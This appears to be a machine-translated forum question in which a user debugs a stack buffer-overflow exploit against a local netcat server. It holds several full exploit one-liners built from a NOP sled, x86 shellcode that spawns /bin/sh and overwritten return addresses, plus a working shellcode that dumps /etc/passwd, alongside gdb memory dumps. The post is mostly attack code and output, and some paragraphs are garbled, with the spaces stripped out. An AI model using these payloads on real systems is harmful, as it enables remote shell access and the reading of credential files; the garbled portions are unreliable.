Tengo un servidor, para referencia: pastebin / ghJX69uH, que puedo netcat y le pedirá que ingrese un msg.
Sé que es vulnerable al desbordamiento de búfer, pero parece que no puedo ejecutar Shellcode. He apuntado con éxito la dirección de retorno a la diapositiva de NOP y golpea el / bin / sh pero no genera un shell. Aquí está mi código:
echo "'python -c 'print "\x90"*65517 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "\xac\xf3\xfe\xbf"*10 + "\n"''" | nc 127.0.0.1 1111
Es un desbordamiento de búfer simple con [NOP SLIDE | SHELLCODE (spawn shell /bin/sh) | return address]
La primera imagen muestra que la dirección de retorno es bffef3ac que va a la diapositiva NOP, ¡así que todo está bien! La segunda imagen da SIG FAULT sin shell, no pasa nada.
¿Quéestápasandoaquí?Echéunvistazoaebpymostróalgoextraño,mi\x90seguidode(¿cuáldeberíasermishellcode)sevediferente?Cualquierinformaciónsobreloquepodríaestarmalocómohacerloalrespecto
0xbffef42c:0x909090900x909090900x909090900x909090900xbffef43c:0x909090900x909090900x909090900x909090900xbffef44c:0x909090900x50c031900x732f2f680x622f68680xbffef45c:0xe3896e690xbffef4680x000000000x6e69622f0xbffef46c:0x68732f2f0x000000000xbffef3ac0xbffef3ac0xbffef47c:0xbffef3ac0xbffef3ac0xbffef3ac0xbffef3ac0xbffef48c:0xbffef3ac0x000000000x000000000x000000000xbffef49c:0x000000000x000000000x000000000x00000000
Edición1:elformatodelcódigoesdenumberphile,shellcodeesde
New code: echo "'python -c 'print "\x90"*65490 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*27 + "\xac\xf4\xfe\xbf" + "\n"''" | nc 127.0.0.1 1129
0xbffef42c: 0x90909090 0x90909090 0x90909090 0xc0319090
0xbffef43c: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3
0xbffef44c: 0xcd0bb0e1 0x41414180 0x41414141 0x41414141
0xbffef45c: 0x41414141 0x41414141 0x41414141 0x00000001
0xbffef46c: 0xbffef4ac 0x08049000 0x00000004 0xbffff4a4
0xbffef47c: 0xbffff490 0xbffff48c 0x00000004 0x00000000
0xbffef48c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffef49c: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffef4ac: 0x00000000 0x00000000 0x00000000 0x0000000
Edición 2: ¡Así que logré imprimirlo / etc / passwd pero todavía no puedo hacer que el código de shell funcione para generar un shell!
Works: / etc / passwd
echo "'python -c 'print "\x90"*65478+"\x31\xc9\x31\xc0\x31\xd2\x51\xb0\x05\x68\x73\x73\x77\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74\x89\xe3\xcd\x80\x89\xd9\x89\xc3\xb0\x03\x66\xba\xff\x0f\x66\x42\xcd\x80\x31\xc0\x31\xdb\xb3\x01\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80" +"AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf" + "\n"''" | nc 127.0.0.1 2010
No funciona: / bin / sh
echo "'python -c 'print "\x90"*65513 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" + "AAAA\x9c\xf3\xfe\xbf\x9c\xf3\xfe\xbf\x9c" + "\n"''" | nc 127.0.0.1 3003